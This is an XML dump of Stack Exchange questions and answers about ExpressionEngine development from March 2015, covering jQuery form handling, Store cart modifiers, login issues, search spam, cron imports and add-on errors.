  <row Id="30475" PostTypeId="2" ParentId="30450" CreationDate="2015-03-11T01:17:29.157" Score="1" Body="&lt;p&gt;I think you need to output a delete button/checkbox alongside each image/input. You can then use jQuery to remove that img/input from the DOM so when you submit the form it's no longer there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;0&quot;/&amp;gt;&#xA;&#xA;{member_photo}&amp;lt;div&amp;gt;&amp;lt;img src=&quot;{url}&quot; width=&quot;150&quot; /&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;{file_id}&quot;/&amp;gt; (To delete this just remove the hidden input for this image) &amp;lt;button class=&quot;delete-img&quot;&amp;gt;Delete&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt;{/member_photo}&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;member_photo[]&quot; id=&quot;member_photo&quot; multiple&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo_filedir&quot; value=&quot;8&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;$('.delete-img').click(function(){&#xA;    $(this).siblings().remove();&#xA;    $(this).remove();&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Added '()' after function from first post.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3858" LastEditorUserId="305" LastEditDate="2015-03-11T14:09:37.407" LastActivityDate="2015-03-11T14:09:37.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30476" PostTypeId="2" ParentId="30474" CreationDate="2015-03-11T01:24:41.800" Score="2" Body="&lt;p&gt;First make sure that your sidebar is not nested in your main product form since that will cause issues, but I doubt that is the case since products without modifiers work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the looks of it you are not actually selecting the modifier in your conditional. So Store is not able to add the item to the cart properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into your conditional like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if wine_related_wines}&#xA;  &amp;lt;h3&amp;gt;You May Also Enjoy&amp;lt;/h3&amp;gt;&#xA;  {exp:playa:children &#xA;    channel=&quot;shop_wines&quot; &#xA;    var_prefix=&quot;w&quot;}&#xA;&#xA;    {exp:store:product entry_id=&quot;{w:entry_id}&quot; return=&quot;cart&quot;}&#xA;      &amp;lt;div class=&quot;cta&quot;&amp;gt;&#xA;        &amp;lt;h5 class=&quot;wine-name-price&quot;&amp;gt;&#xA;&#xA;            &amp;lt;a href=&quot;/shop/wines/{w:url_title}&quot;&amp;gt;&#xA;              &amp;lt;span&amp;gt;{w:wine_year} {w:wine_varietal}&amp;lt;/span&amp;gt; &#xA;              {w:wine_vineyard}{w:title}{/w:wine_vineyard} &#xA;              {w:wine_title_suffix}&#xA;              &amp;lt;span class=&quot;price&quot;&amp;gt;&#xA;                {if price_val == 0}&#xA;&#xA;                  {modifiers}&#xA;                    {if modifier_type == 'var'}&#xA;                      {modifier_options limit=&quot;1&quot;}&#xA;                        &amp;lt;input type=&quot;hidden&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot;&amp;gt;&#xA;                        {price_inc_mod}&#xA;                      {/modifier_options}&#xA;                    {/if}&#xA;                  {/modifiers}&#xA;                {/if}&#xA;                {if price_val &amp;gt; 0}&#xA;                  {w:wine_details:price}&#xA;                {/if}&#xA;              &amp;lt;/span&amp;gt; &#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/h5&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty&quot; value=&quot;1&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; class=&quot;button tiny&quot;&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    {/exp:store:product}&#xA;  {/exp:playa:children} &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also on a side note you would usually use the &lt;code&gt;price_val&lt;/code&gt; in your conditionals so you don't have to worry about currency formatting and using &lt;code&gt;&quot;&quot; or {}&lt;/code&gt; around your conditional content (I adjusted your price conditionals in my code above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#product_tag_variables&quot; rel=&quot;nofollow&quot;&gt;Store docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All price variables are pre-formatted according to your currency&#xA;  formatting settings. If you want the unformatted amount, simply append&#xA;  _val to the variable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-11T01:24:41.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30477" PostTypeId="2" ParentId="30450" CreationDate="2015-03-11T04:23:09.150" Score="1" Body="&lt;p&gt;Darren used a button, which should work too, but here's the jQuery I came up with to remove the name attribute value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;control-label&quot; for=&quot;member_photo&quot;&amp;gt;Performer / Band Photo&amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;0&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;img src=&quot;http://placehold.it/150x150&quot; width=&quot;150&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;{file_id}&quot; id=&quot;photo&quot; /&amp;gt; &amp;lt;br&amp;gt;&#xA;        (To delete this just remove the hidden input for this image)&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;remove_file&quot;&amp;gt; Remove file&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;member_photo[]&quot; id=&quot;member_photo&quot; multiple&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo_filedir&quot; value=&quot;8&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('input[type=&quot;checkbox&quot;]').click(function() {&#xA;    $('input#photo').val('');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that I gave the image an ID.)&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-03-11T04:23:09.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30479" PostTypeId="2" ParentId="30439" CreationDate="2015-03-11T07:10:22.267" Score="0" Body="&lt;p&gt;Remove index.html from document root of webserver. I had stupidly left a a sample file and forgot about it.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-03-11T07:10:22.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30481" PostTypeId="2" ParentId="24864" CreationDate="2015-03-11T09:34:10.033" Score="0" Body="&lt;p&gt;You could try the 'Group By' extension, this effectively adds a SQL style 'GROUP BY' parameter to the channel entries tag - &lt;a href=&quot;https://github.com/nathanpitman/group_by.ext.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nathanpitman/group_by.ext.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-03-11T09:34:10.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30482" PostTypeId="1" CreationDate="2015-03-11T11:41:43.247" Score="0" ViewCount="77" Body="&lt;p&gt;We've got quite high traffic cart throb site which occasionally gets duplicate order numbers. The most recent one was when 2 orders were placed at exactly the same time (to the second). Both orders have been given the same title and url_title, but obviously have different entry IDs in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This must be a Cart Throb bug? Has anyone else come across this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This causes problems with the sales reporting so we really need to find a fix. Anyone from Cart Throb able to offer any insight?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2016-05-27T17:00:08.827" Title="Duplicate order numbers in Cart Throb" Tags="|cartthrob|database|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30483" PostTypeId="1" CreationDate="2015-03-11T13:45:21.823" Score="1" ViewCount="60" Body="&lt;p&gt;Im using Solspace User addon with Username Is Email settings.&#xA;However, one of my users seems to have continue problems with their logins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First time I did just update their profile and setup timezone that was for some reason not set at all, and user did manage to login after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I got email again, that user didnt manage to login. I did try this and got also the same error: you are not authorized to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the login form Im using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-sm-7 col-md-8&quot;&amp;gt;&#xA;                  {if logged_out}&#xA;                    {exp:member:login_form return=&quot;{site_url}&quot; form_class=&quot;form-horizontal&quot;}&#xA;                        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;username&quot; class=&quot;col-sm-3 col-md-2 control-label&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-sm-9 col-md-10&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; placeholder=&quot;your email&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;password&quot; class=&quot;col-sm-3 col-md-2 control-label&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-sm-9 col-md-10&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; placeholder=&quot;Your password&quot; class=&quot;form-control&quot;&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-sm-offset-3 col-sm-offset-2 col-sm-9 col-md-10&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;checkbox&quot;&amp;gt;&#xA;&#xA;                                    {if auto_login}&#xA;                                        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Remember me?&amp;lt;/p&amp;gt;&#xA;                                    {/if}&#xA;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-sm-offset-3 col-sm-offset-2 col-sm-9 col-md-10&quot;&amp;gt;&#xA;                                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-lg btn-success&quot;&amp;gt;Login&amp;lt;/button&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/exp:member:login_form}&#xA;                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path=&quot;site/forgot-passw&quot;}&quot; class=&quot;more-link&quot;&amp;gt;Forgot password?&amp;lt;/a&amp;gt; &amp;lt;br&amp;gt;&amp;lt;a href=&quot;{path=&quot;site/new-account&quot;}&quot; title=&quot;New account&quot; class=&quot;more-link&quot;&amp;gt;Create free account?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                    {if logged_in}&amp;lt;h3&amp;gt;Ups, you are already logged in!&amp;lt;/h3&amp;gt;{/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I miss something or what's might be going on?&#xA;I havent been able to reproduce this error with any other account that I have created nor anyone else has emailed me that they cant login.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-03-11T13:45:21.823" Title="User can not login problems" Tags="|login|solspace-user|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30484" PostTypeId="2" ParentId="30458" CreationDate="2015-03-11T15:17:51.693" Score="1" Body="&lt;p&gt;Are you trying to display them, or edit/save them? To display them you can just show the fields not as inputs?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2015-03-11T15:17:51.693" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30485" PostTypeId="1" CreationDate="2015-03-11T15:39:22.777" Score="0" ViewCount="159" Body="&lt;p&gt;I checked &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10833/jquery-doesnt-load-for-control-panel-after-move-from-dev-to-live&quot;&gt;this&lt;/a&gt; post out and followed the things the OP posted and what other users suggested, but jQuery still isn't loading in the control panel. The themes folder is properly linked and the CSS for it has loaded just fine. It's only the jQuery that's giving me problems.&lt;/p&gt;&#xA;" OwnerUserId="6124" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-06-04T00:38:38.573" Title="jQuery not loading on Control Panel" Tags="|control-panel|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30486" PostTypeId="1" CreationDate="2015-03-11T16:17:07.333" Score="0" ViewCount="41" Body="&lt;p&gt;I'm getting a crazy amount of spam traffic through supersearch. They are all for 13-digit ISBNs (book UPCs). Since we are an online bookstore, I didn't notice it at first, but we're getting about 1000 searches per hour(!) for products obviously unrelated to our website (we sell construction books).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can filter or block this spam? For that matter, is there a way I can find the IP address where these searches are coming from (assuming the IP address is static)?&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-11T16:35:28.337" Title="How to Filter or Block Excessive Spam in Site Search" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30487" PostTypeId="2" ParentId="30486" CreationDate="2015-03-11T16:35:28.337" Score="2" Body="&lt;p&gt;Try adding &lt;a href=&quot;https://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt; to your supersearch form. It really is very good at preventing automated form submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although supersearch is not supported natively, it is easy to add to any form by just adding the following tag to your template in between your form opening and closing tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:snaptcha:field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-03-11T16:35:28.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30489" PostTypeId="1" CreationDate="2015-03-11T18:50:41.797" Score="0" ViewCount="42" Body="&lt;p&gt;I scheduled the import job using curl, but it doesn't update the entries. If I visit the link in browser, it works fine. &lt;/p&gt;&#xA;" OwnerUserId="6125" LastActivityDate="2015-03-11T21:41:54.407" Title="Expression Engine Importer(solspace) scheduled cron jobs don't update entry" Tags="|solspace-importer|" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-12T16:09:11.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="30490" PostTypeId="2" ParentId="30489" CreationDate="2015-03-11T21:41:54.407" Score="2" Body="&lt;p&gt;Seems like your crontask isn't configured correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Verify your curl statement works properly by running it in Terminal (Mac) or Putty (Windows). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Verify you're configuring your crontask correctly. Are you storing it in the right file (or configuring it correctly in Plesk?). Consult your hosting company if need-be.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-03-11T21:41:54.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30491" PostTypeId="1" AcceptedAnswerId="30493" CreationDate="2015-03-11T22:49:52.577" Score="1" ViewCount="1386" Body="&lt;p&gt;I am taking over a website from previous developers who used ExpressionEngine. When I upload a new image via ExpressionEngine, it is not visible. I have tried to upload the image through the File Manager and through its own entry. Here is what I see in Safari when I try to view the image through the CMS. I just see a question mark when I view it on the actual webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vQGBD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem here? The size of the image is correct, and when I download the image from the File Manager, I can view it on my computer. Is there something I'm missing here?&lt;/p&gt;&#xA;" OwnerUserId="6126" LastEditorUserId="22" LastEditDate="2015-03-12T15:24:43.550" LastActivityDate="2015-04-10T13:24:44.120" Title="Uploaded images not visible" Tags="|file-uploads|image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30492" PostTypeId="2" ParentId="30464" CreationDate="2015-03-11T23:55:19.567" Score="0" Body="&lt;p&gt;To view comment reviews in the Channel Ratings control panel you need to click on &quot;Reviews&quot;. Please see screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pRFxD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-11T23:55:19.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30493" PostTypeId="2" ParentId="30491" CreationDate="2015-03-12T05:06:20.123" Score="0" Body="&lt;p&gt;If you can successfully upload images yet thumbnails not showing it could be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) File permissions on the upload folder are incorrect (inc. thumbnail directory) or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) you don't have GD library (double check docs as to required server image module) on your server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it show within the entry ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-03-12T05:06:20.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30494" PostTypeId="2" ParentId="28362" CreationDate="2015-03-12T06:22:14.693" Score="0" Body="&lt;p&gt;Use your existing simple method of outputting the radio buttons then copy the rendered code and manually add the buttons with whatever you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From memory I believe the name attribute is the primary identifier for the field/radio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not perfect but it does work. Obviously if you change your values back end you'll have to ammemd accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, wrap the simple code in a div with an id and use that to target the contents.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-03-12T06:22:14.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30495" PostTypeId="1" CreationDate="2015-03-12T07:03:36.643" Score="1" ViewCount="30" Body="&lt;p&gt;I am new in expression engine , in my project i have to fix some bugs, used here EE1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two weblogs , elections and school - In election weblog used one field 'election_school_id' , and this 'election_school_id' is the id of weblog of  'school' . I need retrive postcode of school using this id , my code is displaying below, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;election&quot; search:election_id=&quot;{segment_3}&quot; dynamic=&quot;off&quot;}&#xA;&#xA;    postcode = &quot;{exp:replace find='\n' multiple='yes' regex='yes'}{exp:get_data weblog='school' id='{election_school_id}' field='{school_postcode}'}      {/exp:replace}&quot;;&#xA;&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this used {exp:get_data} is searched on Google , but i didn't get any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched the word get_data in the filesystem, then I got the file 'system/plugins/pi.get_data.php' and function like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Get_data() { global $TMPL;&#xA;&#xA;$weblog = $TMPL-&amp;gt;fetch_param('weblog');&#xA;$id = $TMPL-&amp;gt;fetch_param('id');&#xA;$field = $TMPL-&amp;gt;fetch_param('field');&#xA;&#xA;//echo(&quot;field: &quot; . $field . &quot; required for entry id: &quot; . $id); &#xA;if ($field == 'title') $this-&amp;gt;return_data = $this-&amp;gt;get_entry_title_by_id($id);&#xA;else $this-&amp;gt;return_data = $this-&amp;gt;get_field_data($field,$id);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6127" LastEditorUserId="22" LastEditDate="2015-03-12T15:28:23.397" LastActivityDate="2015-03-12T15:28:23.397" Title="ExpressionEngine1 - Two weblog together" Tags="|ee1|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30499" PostTypeId="1" AcceptedAnswerId="30500" CreationDate="2015-03-12T15:21:10.770" Score="0" ViewCount="79" Body="&lt;p&gt;I am using low events for my calendar. &#xA;I am trying to find conditional that will allow me to show both my event start date and event closing date when my event lasts more than one day and just the start date when the event is only on one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the code below showing the start and end_date means if the event is only on one day we see that date twice.I need an conditional to apply to the end_date code section which is based on the event being more than one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;figcaption class=&quot;news-event__caption&quot;&amp;gt;&#xA;                &amp;lt;time itemprop=&quot;startDate&quot; content=&quot;{event_date:start_date format='%Y-%m-%d'}&quot; datetime=&quot;{event_date:start_date format='%Y-%m-%d'}&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;day&quot;&amp;gt;{event_date:start_date format=&quot;%d&quot;}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;month&quot;&amp;gt;{event_date:start_date format=&quot;%F&quot;} &amp;lt;/span&amp;gt;&#xA;                     &amp;lt;span class=&quot;day&quot;&amp;gt; {event_date:end_date format=&quot;%d&quot; }&amp;lt;/span&amp;gt;&#xA;                     &amp;lt;span class=&quot;month&quot;&amp;gt;{event_date:end_date format=&quot;%F&quot;}&amp;lt;/span&amp;gt;&#xA;                     &amp;lt;/time&amp;gt;    &#xA;            &amp;lt;/figcaption&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-03-12T15:28:15.240" Title="low events conditional to show event date that lasts for more than one day" Tags="|low|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30500" PostTypeId="2" ParentId="30499" CreationDate="2015-03-12T15:28:15.240" Score="1" Body="&lt;p&gt;Try using &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/fieldtype#one-day&quot; rel=&quot;nofollow&quot;&gt;the :one_day modifier&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{event_date:one_day}' != 'y'} Show stuff for multiple days {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-03-12T15:28:15.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30501" PostTypeId="1" CreationDate="2015-03-12T15:29:25.723" Score="0" ViewCount="43" Body="&lt;p&gt;When attempting to use the UPS Shipping Extension for Exp-resso store, the install runs fine, but when attempting to add anything to the cart on the front-end we get the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: call_user_func_array() expects parameter 1 to be a valid callback, class 'Store_ups_ext' does not have a method 'store_order_shipping_methods'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: libraries/Extensions.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 262&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have attempted to uninstall and reinstall the UPS extension, the EE installation was newly installed prior to adding the UPS Extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.2 &lt;/li&gt;&#xA;&lt;li&gt;Store 2.5.0 &lt;/li&gt;&#xA;&lt;li&gt;UPS Extension 1.1.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phil Dowson&lt;/p&gt;&#xA;" OwnerUserId="4922" LastActivityDate="2016-05-24T08:50:40.720" Title="UPS Shipping Extension Errors" Tags="|ee2|expresso|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30502" PostTypeId="2" ParentId="30339" CreationDate="2015-03-12T16:19:19.367" Score="1" Body="&lt;p&gt;Turns out it was a simple fix, In Freeform &gt; Fields &gt; Field Settings &gt; Allowed File Types I had dox instead of docx.  &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-03-12T16:19:19.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30503" PostTypeId="2" ParentId="30443" CreationDate="2015-03-12T16:19:19.663" Score="1" Body="&lt;p&gt;MX Notify Control requires that you manually specify the &lt;code&gt;entry_id&lt;/code&gt; for any &lt;code&gt;channel:entries&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Event Hours Confirmed&amp;lt;/h3&amp;gt;&#xA;{exp:channel:entries channel=&quot;vip_event_registration&quot; status=&quot;Hours-Confirmed&quot; limit=&quot;1&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&amp;lt;p&amp;gt;Your hours have now been confirmed for {vip_event}. According to our records, you attended this event for {vip_hours_total} hours.  Thank you for participating in a VIP event!&amp;lt;/p&amp;gt;                                          &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Postmaster, you need to similarly use &lt;code&gt;entry_id={parcel:entry_id}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-12T16:19:19.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30504" PostTypeId="1" AcceptedAnswerId="30505" CreationDate="2015-03-12T16:30:18.577" Score="1" ViewCount="179" Body="&lt;p&gt;I'm using Channel Form (Safecracker) on a site which is using Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: Cannot read property 'msie' of undefined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in this script: ACT=10&amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog,datepicker&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=underscore,cp/date&amp;amp;v=1412459416&amp;amp;use_live_url=y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens even if I create form for channel that does not have any fields at all (did that for testing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone else experienced similar issue and have a solution for it?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-12T17:32:11.267" Title="Channel Form javascript error when using Bootstrap" Tags="|safecracker|javascript|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30505" PostTypeId="2" ParentId="30504" CreationDate="2015-03-12T17:32:11.267" Score="2" Body="&lt;p&gt;This usually happens with duplicate jquery files. You can add either of these parameters &lt;pre&gt;include_jquery=&quot;no&quot;&lt;/pre&gt; &lt;pre&gt;include_assets=&quot;no&quot;&lt;/pre&gt;&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-12T17:32:11.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
